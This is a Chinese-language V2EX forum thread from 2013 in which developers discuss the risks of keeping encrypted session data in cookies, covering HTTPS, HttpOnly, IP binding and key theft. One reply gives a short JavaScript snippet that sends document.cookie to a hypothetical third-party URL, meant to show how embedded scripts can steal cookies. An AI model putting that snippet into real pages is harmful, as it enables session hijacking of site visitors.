V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
kran
V2EX  ›  程序员

基于cookie存储的加密session有什么风险?

  •  
  •   kran · 2013-12-17 14:26:38 +08:00 · 6925 次点击
    这是一个创建于 3795 天前的主题,其中的信息可能已经有所发展或是发生改变。
    假设其他人得不到加密key的话.
    31 条回复    1970-01-01 08:00:00 +08:00
    qiayue
        1
    qiayue  
       2013-12-17 14:40:19 +08:00
    4KB限制
    kran
        2
    kran  
    OP
       2013-12-17 14:44:59 +08:00
    @qiayue 如果别人能通过某种方法得到了一个管理员的所有cookie键值,那是不是全部暴露了?
    一般用什么方法阻止这种伪造cookie?
    kran
        3
    kran  
    OP
       2013-12-17 14:46:09 +08:00
    @qiayue 或者说一般用什么方法确定一个新的session(类似session_id生成)
    kingwkb
        4
    kingwkb  
       2013-12-17 14:56:44 +08:00
    @kran md5验证 + https = 安全
    yushiro
        5
    yushiro  
       2013-12-17 14:58:02 +08:00
    基于http only的cookies是无法被js读取的,别人怎么获得? 除非电脑被黑客种了木马, 那任何方法都不能避免。
    love
        6
    love  
       2013-12-17 15:08:17 +08:00
    把IP也编码进去不就可以防止别人拿了管理员的cookie去别的电脑上操作。
    Shieffan
        7
    Shieffan  
       2013-12-17 15:10:15 +08:00
    @kran 如果cookie被劫持的话无论你是服务端存储session还是cookie存session,那还不是一样的暴露?当然除非你的session id是写在url里的token。
    wodemyworld
        8
    wodemyworld  
       2013-12-17 15:34:15 +08:00
    安全应该走https吧
    如果仅http,如果其他人得不到加密的key的话,那目标客户端是如何得到key的呢
    bombless
        9
    bombless  
       2013-12-17 15:48:11 +08:00
    很有技巧性……特别是要做到让非法状态不可表示……
    kran
        10
    kran  
    OP
       2013-12-17 16:18:28 +08:00
    @yushiro 那就假设别人能直接监视浏览器cookie好了。。。^_^(我不太懂cookie伪造,应该有很多途径吧,毕竟是在客户端)

    @love 用ip的话是个办法,但是现在移动端网络总是切来切去的,很容易让session都失效

    @Shieffan 不是的,虽然对方得到session,但是因为是加密的所以得不到内容,目的是让换了终端后能识别这种“假”的cookie,然后生成全新的session

    @wodemyworld 客户端不负责解析session,都在服务器端完成,只是基于cookie存储

    @bombless 恩,蛮有意思的
    Shieffan
        11
    Shieffan  
       2013-12-17 16:29:51 +08:00
    @kran 我是觉得你这问题问的不对,什么叫“基于cookie存储的加密session”,除了直接把session id写在url里外,其它类型的session不都是基于cookie的么?
    Shieffan
        12
    Shieffan  
       2013-12-17 16:42:03 +08:00
    风险的话,既然是session(会话),那么它暗含的意思里就是时效短,你设置cookie里的session id的生命周期为浏览器生命周期,这样可以有效防窃取。

    我觉着LZ的意思是要把session当cookie用,如果你服务端不维护一个有效session数据库,那你这session就是纯粹的cookie啊,要提高cookie的安全性,就那几种方法,http only防止被js代码获取,有效防止XSS; session id由客户端ip, 浏览器特征等客户端特征进行加密生成。

    安全性跟便捷性往往就是冲突的,只能看你取舍了。
    kran
        13
    kran  
    OP
       2013-12-17 16:43:34 +08:00
    @Shieffan 。。。咱们说的不是一回事儿,session_id一般存储在cookie或者url里,没错的。但是session的内容一般存储在服务器上,是吧?现在我希望使用cookie来存储session的内容。把加密后的session存储在cookie里,但是安全上没有保障(现在整体都基于cookie而不使用session的认证系统都不存在了吧)。

    现在问题的目的是识别非法请求。
    kran
        14
    kran  
    OP
       2013-12-17 16:55:38 +08:00
    @Shieffan 差不多了,是不想维护一个服务端的存储,但是问题的目的不是提高cookie的安全性,是提高session有效性验证的系数,sessionid由客户端生成的话,会死的很惨。
    Shieffan
        15
    Shieffan  
       2013-12-17 16:57:20 +08:00
    @kran 所以说你这问题就是判断session id是否非法啊,这跟你session内容怎么存一点儿关系都没啊?无论你session内容是存在服务器还是加密存在cookie里,你都是要把session id存在cookie里呀
    kran
        16
    kran  
    OP
       2013-12-17 17:10:21 +08:00
    @Shieffan 对的对的,判断sessionid是否合法。
    binux
        17
    binux  
       2013-12-17 17:17:21 +08:00   ❤️ 1
    @kran
    假设存在中间人,http无论你加不加密,无论cookie是谁生成的,无论cookie里面存的是什么,都防止不了中间人伪造身份。

    假设不存在中间人,加密足够强壮,客户端无法得到/破解出key,那么你往里面存任何东西都是安全的,不可伪造的。于是仅用cookie保存你所谓的session没有任何问题。
    kran
        18
    kran  
    OP
       2013-12-17 17:19:34 +08:00
    @binux :D 我太喜欢你说话那个确定的劲儿了!
    yushiro
        19
    yushiro  
       2013-12-17 17:22:32 +08:00
    @binux 没有中间人, 可以有XSS
    dorentus
        20
    dorentus  
       2013-12-17 17:27:56 +08:00
    最大的安全隐患应该就是密钥失窃后,只要密钥不改,窃得密钥的人就可以在任意时间地点伪造或者修改 session 内容。
    Shieffan
        21
    Shieffan  
       2013-12-17 17:32:17 +08:00
    ”如果别人能通过某种方法得到了一个管理员的所有cookie键值,那是不是全部暴露了?
    一般用什么方法阻止这种伪造cookie?“

    @kran 除了将session id的生成算法加入客户端特征(ip,浏览器ua等),我想不出其它办法。否则没道理同样的cookie我转移个地方就不能用了。
    txlty
        22
    txlty  
       2013-12-17 17:35:45 +08:00
    拿到了cookie,就拿到了身份验证所需的全部信息。这是互联网的规则。我试过京东、QQ空间、新浪微博。。。都是这样!
    如果你不希望这样,那么只能登录时,把IP也加进去作为判断条件。同时,“下次自动登录” 也失效了。因为国内宽带有海量动态IP用户。
    cookie伪造,并不是什么高深的东西,chrome\firefox,装个插件,就可以随意修改cookie。
    txlty
        23
    txlty  
       2013-12-17 18:17:57 +08:00
    @yushiro
    @wodemyworld
    @binux
    @dorentus
    不一定需要通信链路上中间人权限、或者电脑中了木马 才能窃取cookie。
    任何引入外部的js文件,文件宿主方,都可以窃取目标网站访客的全部cookie!比如:广告联盟代码、统计代码、社会化分享按钮、外部ajax库、社会化评论框、社会化登录按钮。。。。
    以v2ex为例,如果google想窃取v2ex全站用户cookie,只要在google-analytics.com/ga.js 里悄悄加几行代码就ok。没有跨域问题,用户也不会收到任何提示。比如:
    var url="http://www.google-analytics.com/getcookie.php?cookie="; //假设的接收端
    var imgxx = new Image();
    imgxx .src = url+document.cookie;
    这样,v2ex用户的cookie雪片般飞向google,一天以后,用户cookie就被偷的差不多了。
    这只是举例。google不至于这样做。但别的厂商呢?
    wodemyworld
        24
    wodemyworld  
       2013-12-17 18:20:35 +08:00
    @kran 我想知道怎么会出现“某种方法得到了一个管理员的所有cookie键值”,这本身就是个问题吧,你用https做传输,谁能获取到加密的http header信息啊

    如果你假设客户机器上有病毒、有流氓软件、或者是肉鸡,那你怎么防也没用啊,逻辑上就没法预防,你又不能从网线里看到用户长什么样,如果用户本身机器没中毒,也不会出现你说的这种情况啊
    wodemyworld
        25
    wodemyworld  
       2013-12-17 18:27:15 +08:00
    @txlty 擦,你更狠,直接在服务器上植入病毒。。。。。。既然对别的厂商的东西不确认是否有恶意代码,干嘛还要用
    Shieffan
        26
    Shieffan  
       2013-12-17 18:34:31 +08:00 via iPhone
    @wodemyworld 前段时间不是有那个么,利用路由器漏洞篡改路由器dns到私有dns server,然后把cnzz,ga等的dns指向一个私有服务器,替换统计代码为点击劫持广告代码。其实它们完全可以更恶意更狠点。。
    binux
        27
    binux  
       2013-12-17 18:50:29 +08:00
    @txlty 这里的中间人是指能拿到用户cookie的人,知道意思就可以了
    ooh
        28
    ooh  
       2013-12-17 19:25:42 +08:00
    useragent 然后再 加一些header头里面的东西加密
    wodemyworld
        29
    wodemyworld  
       2013-12-17 21:20:03 +08:00
    @Shieffan 这个就不用管它了,中国这世道就如此了,没治的,国企犯法不算犯法,刑事也不追究,想不被fuck就去国外吧,在国内就是被强奸的份,我这儿到现在电信还在玩dns挟持,用默认dns下载下来的iqiyi都是被替换过的盗版apk,里面篡改了广告源
    kran
        30
    kran  
    OP
       2013-12-18 00:02:12 +08:00
    。。。真是没个结果啊

    先设置短点过期时间,要不加个ip得了
    dorentus
        31
    dorentus  
       2013-12-19 18:32:46 +08:00
    @txlty
    http-only cookie 就是拿来防这个的。
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   我们的愿景   ·   实用小工具   ·   1110 人在线   最高记录 6543   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 28ms · UTC 22:40 · PVG 06:40 · LAX 15:40 · JFK 18:40
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.